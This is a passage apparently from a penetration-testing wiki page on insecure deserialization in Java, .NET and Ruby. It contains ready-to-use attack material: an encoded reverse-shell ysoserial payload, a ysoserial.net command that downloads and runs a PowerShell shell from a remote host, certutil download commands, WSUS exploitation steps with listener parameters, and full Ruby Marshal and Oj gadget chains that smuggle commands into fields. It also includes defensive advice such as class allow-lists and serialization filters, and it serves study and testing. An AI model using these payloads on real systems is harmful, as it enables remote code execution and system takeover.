    586 ## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
    587 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
    588 
    589 # Base64 encode payload in base64
    590 base64 -w0 payload
    591 ```
    592 
    593 When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
    594 
    595 Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page:
    596 
    597 ```python
    598 import os
    599 import base64
    600 
    601 # You may need to update the payloads
    602 payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
    603 def generate(name, cmd):
    604     for payload in payloads:
    605         final = cmd.replace('REPLACE', payload)
    606         print 'Generating ' + payload + ' for ' + name + '...'
    607         command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
    608         result = command.read()
    609         command.close()
    610         encoded = base64.b64encode(result)
    611         if encoded != "":
    612             open(name + '_intruder.txt', 'a').write(encoded + '\n')
    613 
    614 generate('Windows', 'ping -n 1 win.REPLACE.server.local')
    615 generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
    616 ```
    617 
    618 #### serialkillerbypassgadgets
    619 
    620 You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)<sup>[[51]](#references)</sup>
    621 
    622 #### marshalsec
    623 
    624 [**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.<sup>[[18]](#references)</sup>\
    625 In order to compile the project I needed to **add** this **dependencies** to `pom.xml`:
    626 
    627 ```html
    628 <dependency>
    629 		<groupId>javax.activation</groupId>
    630 		<artifactId>activation</artifactId>
    631 		<version>1.1.1</version>
    632 </dependency>
    633 
    634 <dependency>
    635 		<groupId>com.sun.jndi</groupId>
    636 		<artifactId>rmiregistry</artifactId>
    637 		<version>1.2.1</version>
    638 		<type>pom</type>
    639 </dependency>
    640 ```
    641 
    642 **Install maven**, and **compile** the project:
    643 
    644 ```bash
    645 sudo apt-get install maven
    646 mvn clean package -DskipTests
    647 ```
    648 
    649 #### FastJSON
    650 
    651 Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)<sup>[[52]](#references)</sup>
    652 
    653 ### Labs
    654 
    655 - If you want to test some ysoserial payloads you can **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
    656 - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)<sup>[[19]](#references)</sup><sup>[[20]](#references)</sup><sup>[[21]](#references)</sup><sup>[[22]](#references)</sup>
    657 
    658 ### Why
    659 
    660 Java uses a lot serialization for various purposes like:
    661 
    662 - **HTTP requests**: Serialization is widely employed in the management of parameters, ViewState, cookies, etc.
    663 - **RMI (Remote Method Invocation)**: The Java RMI protocol, which relies entirely on serialization, is a cornerstone for remote communication in Java applications.
    664 - **RMI over HTTP**: This method is commonly used by Java-based thick client web applications, utilizing serialization for all object communications.
    665 - **JMX (Java Management Extensions)**: JMX utilizes serialization for transmitting objects over the network.
    666 - **Custom Protocols**: In Java, the standard practice involves the transmission of raw Java objects, which will be demonstrated in upcoming exploit examples.
    667 
    668 ### Java Deserialization Prevention
    669 
    670 #### Transient objects
    671 
    672 A class that implements `Serializable` can implement as `transient` any object inside the class that shouldn't be serializable. For example:
    673 
    674 ```java
    675 public class myAccount implements Serializable
    676 {
    677     private transient double profit; // declared transient
    678     private transient double margin; // declared transient
    679 ```
    680 
    681 #### Avoid Serialization of a class that need to implements Serializable
    682 
    683 In scenarios where certain **objects must implement the `Serializable`** interface due to class hierarchy, there's a risk of unintentional deserialization. To prevent this, ensure these objects are non-deserializable by defining a `final` `readObject()` method that consistently throws an exception, as shown below:
    684 
    685 ```java
    686 private final void readObject(ObjectInputStream in) throws java.io.IOException {
    687     throw new java.io.IOException("Cannot be deserialized");
    688 }
    689 ```
    690 
    691 #### **Enhancing Deserialization Security in Java**
    692 
    693 **Customizing `java.io.ObjectInputStream`** is a practical approach for securing deserialization processes. This method is suitable when:
    694 
    695 - The deserialization code is under your control.
    696 - The classes expected for deserialization are known.
    697 
    698 Override the **`resolveClass()`** method to limit deserialization to allowed classes only. This prevents deserialization of any class except those explicitly permitted, such as in the following example that restricts deserialization to the `Bicycle` class only:
    699 
    700 ```java
    701 // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
    702 public class LookAheadObjectInputStream extends ObjectInputStream {
    703 
    704     public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
    705         super(inputStream);
    706     }
    707 
    708     /**
    709     * Only deserialize instances of our expected Bicycle class
    710     */
    711     @Override
    712     protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    713         if (!desc.getName().equals(Bicycle.class.getName())) {
    714             throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
    715         }
    716         return super.resolveClass(desc);
    717     }
    718 }
    719 ```
    720 
    721 **Using a Java Agent for Security Enhancement** offers a fallback solution when code modification isn't possible. This method applies mainly for **blacklisting harmful classes**, using a JVM parameter:
    722 
    723 ```text
    724 -javaagent:name-of-agent.jar
    725 ```
    726 
    727 It provides a way to secure deserialization dynamically, ideal for environments where immediate code changes are impractical.
    728 
    729 Check and example in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
    730 
    731 **Implementing Serialization Filters**: Java 9 introduced serialization filters via the **`ObjectInputFilter`** interface, providing a powerful mechanism for specifying criteria that serialized objects must meet before being deserialized. These filters can be applied globally or per stream, offering a granular control over the deserialization process.
    732 
    733 To utilize serialization filters, you can set a global filter that applies to all deserialization operations or configure it dynamically for specific streams. For example:
    734 
    735 ```java
    736 ObjectInputFilter filter = info -> {
    737     if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
    738     if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
    739     if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
    740         return Status.REJECTED; // Restrict to allowed classes
    741     }
    742     return Status.ALLOWED;
    743 };
    744 ObjectInputFilter.Config.setSerialFilter(filter);
    745 ```
    746 
    747 **Leveraging External Libraries for Enhanced Security**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
    748 
    749 - **NotSoSerial** intercepts deserialization processes to prevent execution of untrusted code.
    750 - **jdeserialize** allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
    751 - **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.<sup>[[24]](#references)</sup>
    752 
    753 ## JNDI Injection & log4Shell
    754 
    755 Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page:
    756 
    757 
    758 [Jndi Java Naming And Directory Interface And Log4Shell](/hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell)
    759 
    760 ## JMS - Java Message Service
    761 
    762 > The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
    763 
    764 ### Products
    765 
    766 There are several products using this middleware to send messages:<sup>[[25]](#references)</sup>
    767 
    768 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28314%29.png)<sup>[[25]](#references)</sup>
    769 
    770 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281056%29.png)<sup>[[25]](#references)</sup>
    771 
    772 ### Exploitation
    773 
    774 So, basically there are a **bunch of services using JMS on a dangerous way**. Therefore, if you have **enough privileges** to send messages to this services (usually you will need valid credentials) you could be able to send **malicious objects serialized that will be deserialized by the consumer/subscriber**.\
    775 This means that in this exploitation all the **clients that are going to use that message will get infected**.
    776 
    777 You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability.
    778 
    779 The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.<sup>[[26]](#references)</sup>
    780 
    781 ## .Net
    782 
    783 In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.<sup>[[27]](#references)</sup><sup>[[28]](#references)</sup>
    784 
    785 ### Fingerprint
    786 
    787 #### WhiteBox
    788 
    789 The source code should be inspected for occurrences of:
    790 
    791 1. `TypeNameHandling`
    792 2. `JavaScriptTypeResolver`
    793 
    794 The focus should be on serializers that permit the type to be determined by a variable under user control.
    795 
    796 #### BlackBox
    797 
    798 The search should target the Base64 encoded string **AAEAAAD/////** or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, **JSON** or **XML** structures featuring `TypeObject` or `$type`.
    799 
    800 ### ysoserial.net
    801 
    802 In this case you can use the tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) in order to **create the deserialization exploits**. Once downloaded the git repository you should **compile the tool** using Visual Studio for example.
    803 
    804 If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](/hacktricks/pentesting-web/deserialization/basic-net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json-net).
    805 
    806 The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output`** and **`--plugin`.**
    807 
    808 - **`--gadget`** used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
    809 - **`--formatter`**, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
    810 - **`--output`** used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._
    811 - **`--plugin`** ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState
    812 
    813 #### More ysoserial.net parameters
    814 
    815 - `--minify` will provide a **smaller payload** (if possible)
    816 - `--raf -f Json.Net -c "anything"` This will indicate all the gadgets that can be used with a provided formatter (`Json.Net` in this case)
    817 - `--sf xml` you can **indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive)
    818 
    819 **ysoserial examples** to create exploits:
    820 
    821 ```bash
    822 #Send ping
    823 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
    824 
    825 #Timing
    826 #I tried using ping and timeout but there wasn't any difference in the response timing from the web server
    827 
    828 #DNS/HTTP request
    829 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
    830 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
    831 
    832 #Reverse shell
    833 #Create shell command in linux
    834 echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
    835 #Create exploit using the created B64 shellcode
    836 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
    837 ```
    838 
    839 **ysoserial.net** has also a **very interesting parameter** that helps to understand better how every exploit works: `--test`\
    840 If you indicates this parameter **ysoserial.net** will **try** the **exploit locally,** so you can test if your payload will work correctly.\
    841 This parameter is helpful because if you review the code you will find chucks of code like the following one (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
    842 
    843 ```java
    844             if (inputArgs.Test)
    845                 {
    846                     try
    847                     {
    848                         SerializersHelper.JsonNet_deserialize(payload);
    849                     }
    850                     catch (Exception err)
    851                     {
    852                         Debugging.ShowErrors(inputArgs, err);
    853                     }
    854                 }
    855 ```
    856 
    857 This means that in order to test the exploit the code will call [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
    858 
    859 ```java
    860 public static object JsonNet_deserialize(string str)
    861     {
    862         Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
    863         {
    864             TypeNameHandling = TypeNameHandling.Auto
    865         });
    866         return obj;
    867     }
    868 ```
    869 
    870 In the **previous code is vulnerable to the exploit created**. So if you find something similar in a .Net application it means that probably that application is vulnerable too.\
    871 Therefore the **`--test`** parameter allows us to understand **which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create.
    872 
    873 ### ViewState
    874 
    875 Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-parameter)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, [**read this post to know to execute code**](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-knowing-the-secret)**.**
    876 
    877 ### Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
    878 
    879 - Affected endpoints:
    880   - `/SimpleAuthWebService/SimpleAuth.asmx` → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter.
    881   - `/ReportingWebService.asmx` → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
    882 - Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).<sup>[[29]](#references)</sup>
    883 
    884 Minimal exploitation (Reporting path):
    885 1) Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
    886 
    887 ```powershell
    888 # Reverse shell (EncodedCommand) via BinaryFormatter
    889 ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
    890 
    891 # Simple calc via SoapFormatter (test)
    892 ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
    893 ```
    894 
    895 2) Craft SOAP for `ReportEventBatch` embedding the base64 gadget and POST it to `/ReportingWebService.asmx`.
    896 3) When an admin opens the WSUS console, the event is deserialized and the gadget fires (RCE as SYSTEM).
    897 
    898 AuthorizationCookie / GetCookie()
    899 - A forged AuthorizationCookie can be accepted, decrypted, and passed to a BinaryFormatter sink, enabling pre‑auth RCE if reachable.
    900 
    901 Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:<sup>[[30]](#references)</sup>
    902 
    903 ```powershell
    904 $lhost = "192.168.49.51"
    905 $lport = 53
    906 $targetURL = "http://192.168.51.89:8530"
    907 ```
    908 
    909 See [Windows Local Privilege Escalation – WSUS](/hacktricks/windows-hardening/windows-local-privilege-escalation/overview)
    910 
    911 ### .NET Deserialization Prevention
    912 
    913 To mitigate the risks associated with deserialization in .Net:<sup>[[23]](#references)</sup>
    914 
    915 - **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible.<sup>[[41]](#references)</sup>
    916 - **For `JSON.Net`, set `TypeNameHandling` to `None`:** `TypeNameHandling = TypeNameHandling.None`
    917 - **Avoid using `JavaScriptSerializer` with a `JavaScriptTypeResolver`.**
    918 - **Limit the types that can be deserialized**, understanding the inherent risks with .Net types, such as `System.IO.FileInfo`, which can modify server files' properties, potentially leading to denial of service attacks.
    919 - **Be cautious with types having risky properties**, like `System.ComponentModel.DataAnnotations.ValidationException` with its `Value` property, which can be exploited.
    920 - **Securely control type instantiation** to prevent attackers from influencing the deserialization process, rendering even `DataContractSerializer` or `XmlSerializer` vulnerable.
    921 - **Implement white list controls** using a custom `SerializationBinder` for `BinaryFormatter` and `JSON.Net`.
    922 - **Stay informed about known insecure deserialization gadgets** within .Net and ensure deserializers do not instantiate such types.
    923 - **Isolate potentially risky code** from code with internet access to avoid exposing known gadgets, such as `System.Windows.Data.ObjectDataProvider` in WPF applications, to untrusted data sources.
    924 
    925 ## **Ruby**
    926 
    927 In Ruby, serialization is facilitated by two methods within the **marshal** library. The first method, known as **dump**, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, **load**, is employed to revert a byte stream back into an object, a process known as deserialization.
    928 
    929 For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:<sup>[[43]](#references)</sup>
    930 
    931 - `config/environment.rb`
    932 - `config/initializers/secret_token.rb`
    933 - `config/secrets.yml`
    934 - `/proc/self/environ`
    935 
    936 **Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:<sup>[[36]](#references)</sup>
    937 
    938 ```ruby
    939 #!/usr/bin/env ruby
    940 
    941 # Code from https://www.elttam.com/blog/ruby-deserialization/
    942 
    943 class Gem::StubSpecification
    944   def initialize; end
    945 end
    946 
    947 
    948 stub_specification = Gem::StubSpecification.new
    949 stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
    950 
    951 puts "STEP n"
    952 stub_specification.name rescue nil
    953 puts
    954 
    955 
    956 class Gem::Source::SpecificFile
    957   def initialize; end
    958 end
    959 
    960 specific_file = Gem::Source::SpecificFile.new
    961 specific_file.instance_variable_set(:@spec, stub_specification)
    962 
    963 other_specific_file = Gem::Source::SpecificFile.new
    964 
    965 puts "STEP n-1"
    966 specific_file <=> other_specific_file rescue nil
    967 puts
    968 
    969 
    970 $dependency_list= Gem::DependencyList.new
    971 $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
    972 
    973 puts "STEP n-2"
    974 $dependency_list.each{} rescue nil
    975 puts
    976 
    977 
    978 class Gem::Requirement
    979   def marshal_dump
    980     [$dependency_list]
    981   end
    982 end
    983 
    984 payload = Marshal.dump(Gem::Requirement.new)
    985 
    986 puts "STEP n-3"
    987 Marshal.load(payload) rescue nil
    988 puts
    989 
    990 
    991 puts "VALIDATION (in fresh ruby process):"
    992 IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
    993   pipe.print payload
    994   pipe.close_write
    995   puts pipe.gets
    996   puts
    997 end
    998 
    999 puts "Payload (hex):"
   1000 puts payload.unpack('H*')[0]
   1001 puts
   1002 
   1003 
   1004 require "base64"
   1005 puts "Payload (Base64 encoded):"
   1006 puts Base64.encode64(payload)
   1007 ```
   1008 
   1009 Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)<sup>[[31]](#references)</sup>
   1010 
   1011 ### Ruby .send() method
   1012 
   1013 As explained in [**this archived vulnerability report**](https://web.archive.org/web/20260000000000id_/https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), if unsanitized user input reaches the `.send()` method of a Ruby object, the method can **invoke another method** of that object with attacker-controlled arguments.<sup>[[32]](#references)</sup>
   1014 
   1015 For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code:
   1016 
   1017 ```ruby
   1018 <Object>.send('eval', '<user input with Ruby code>') == RCE
   1019 ```
   1020 
   1021 Moreover, if only one parameter of **`.send()`** is controlled by an attacker, as mentioned in the previous writeup, it's possible to call any method of the object that **doesn't need arguments** or whose arguments have **default values**.\
   1022 For this, it's possible to enumerate all the methods of the object to **find some interesting methods that fulfil those requirements**.
   1023 
   1024 ```ruby
   1025 <Object>.send('<user_input>')
   1026 
   1027 # This code is taken from the original blog post
   1028 # <Object> in this case is Repository
   1029 ## Find methods with those requirements
   1030 repo = Repository.find(1)  # get first repo
   1031 repo_methods = [           # get names of all methods accessible by Repository object
   1032   repo.public_methods(),
   1033   repo.private_methods(),
   1034   repo.protected_methods(),
   1035 ].flatten()
   1036 
   1037 repo_methods.length()      # Initial number of methods => 5542
   1038 
   1039 ## Filter by the arguments requirements
   1040 candidate_methods = repo_methods.select() do |method_name|
   1041   [0, -1].include?(repo.method(method_name).arity())
   1042 end
   1043 candidate_methods.length() # Final number of methods=> 3595
   1044 ```
   1045 
   1046 ### Ruby class pollution
   1047 
   1048 Check how it could be possible to [pollute a Ruby class and abuse it in here](/hacktricks/pentesting-web/deserialization/ruby-class-pollution).
   1049 
   1050 ### Ruby _json pollution
   1051 
   1052 When sending in a body some values not hashabled like an array they will be added into a new key called `_json`. However, It’s possible for an attacker to also set in the body a value called `_json` with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the `_json` parameter to perform some action, an authorisation bypass could be performed.
   1053 
   1054 Check more information in the [Ruby _json pollution page](/hacktricks/pentesting-web/deserialization/ruby-json-pollution).
   1055 
   1056 ### Other libraries
   1057 
   1058 This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).<sup>[[33]](#references)</sup>
   1059 
   1060 There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically):
   1061 
   1062 <table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
   1063 
   1064 Basic example:
   1065 
   1066 ```ruby
   1067 # Existing Ruby class inside the code of the app
   1068 class SimpleClass
   1069   def initialize(cmd)
   1070     @cmd = cmd
   1071   end
   1072 
   1073   def hash
   1074     system(@cmd)
   1075   end
   1076 end
   1077 
   1078 # Exploit
   1079 require 'oj'
   1080 simple = SimpleClass.new("open -a calculator") # command for macOS
   1081 json_payload = Oj.dump(simple)
   1082 puts json_payload
   1083 
   1084 # Sink vulnerable inside the code accepting user input as json_payload
   1085 Oj.load(json_payload)
   1086 ```
   1087 
   1088 In the case of trying to abuse Oj, it was possible to find a gadget class that inside its `hash` function will call `to_s`, which will call spec, which will call fetch_path which was possible to make it fetch a random URL, giving a great detector of these kind of unsanitized deserialization vulnerabilities.
   1089 
   1090 ```json
   1091 {
   1092   "^o": "URI::HTTP",
   1093   "scheme": "s3",
   1094   "host": "example.org/anyurl?",
   1095   "port": "anyport",
   1096   "path": "/",
   1097   "user": "anyuser",
   1098   "password": "anypw"
   1099 }
   1100 ```
   1101 
   1102 Moreover, it was found that with the previous technique a folder is also created in the system, which is a requirement to abuse another gadget in order to transform this into a complete RCE with something like:
   1103 
   1104 ```json
   1105 {
   1106   "^o": "Gem::Resolver::SpecSpecification",
   1107   "spec": {
   1108     "^o": "Gem::Resolver::GitSpecification",
   1109     "source": {
   1110       "^o": "Gem::Source::Git",
   1111       "git": "zip",
   1112       "reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
   1113       "root_dir": "/tmp",
   1114       "repository": "anyrepo",
   1115       "name": "anyname"
   1116     },
   1117     "spec": {
   1118       "^o": "Gem::Resolver::Specification",
   1119       "name": "name",
   1120       "dependencies": []
   1121     }
   1122   }
   1123 }
   1124 ```
   1125 
   1126 Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).<sup>[[33]](#references)</sup>
   1127 
   1128 ### Bootstrap Caching
   1129 
   1130 This is not strictly a deserialization vulnerability, but it is a useful technique for abusing Bootsnap caching to turn an arbitrary file write in a Rails application into RCE. See the [original post](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) for the complete research.<sup>[[34]](#references)</sup>
   1131 
   1132 Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
   1133 
   1134 - Identify the Vulnerability and Environment
   1135 
   1136 The Rails app’s file upload functionality lets an attacker write files arbitrarily. Although the app runs with restrictions (only certain directories like tmp are writable due to Docker’s non-root user), this still allows writing to the Bootsnap cache directory (typically under tmp/cache/bootsnap).
   1137 
   1138 - Understand Bootsnap’s Cache Mechanism
   1139 
   1140 Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. It stores cache files that include a cache key header (with fields like Ruby version, file size, mtime, compile options, etc.) followed by the compiled code. This header is used to validate the cache during app startup.
   1141 
   1142 - Gather File Metadata
   1143 
   1144 The attacker first selects a target file that is likely loaded during Rails startup (for example, set.rb from Ruby’s standard library). By executing Ruby code inside the container, they extract critical metadata (such as RUBY_VERSION, RUBY_REVISION, size, mtime, and compile_option). This data is essential for crafting a valid cache key.
   1145 
   1146 - Compute the Cache File Path
   1147 
   1148 By replicating Bootsnap’s FNV-1a 64-bit hash mechanism, the correct cache file path is determined. This step ensures that the malicious cache file is placed exactly where Bootsnap expects it (e.g., under tmp/cache/bootsnap/compile-cache-iseq/).
   1149 
   1150 - Craft the Malicious Cache File
   1151 
   1152 The attacker prepares a payload that:
   1153 
   1154   - Executes arbitrary commands (for example, running id to show process info).
   1155   - Removes the malicious cache after execution to prevent recursive exploitation.
   1156   - Loads the original file (e.g., set.rb) to avoid crashing the application.
   1157 
   1158 This payload is compiled into binary Ruby code and concatenated with a carefully constructed cache key header (using the previously gathered metadata and the correct version number for Bootsnap).
   1159 
   1160 - Overwrite and Trigger Execution
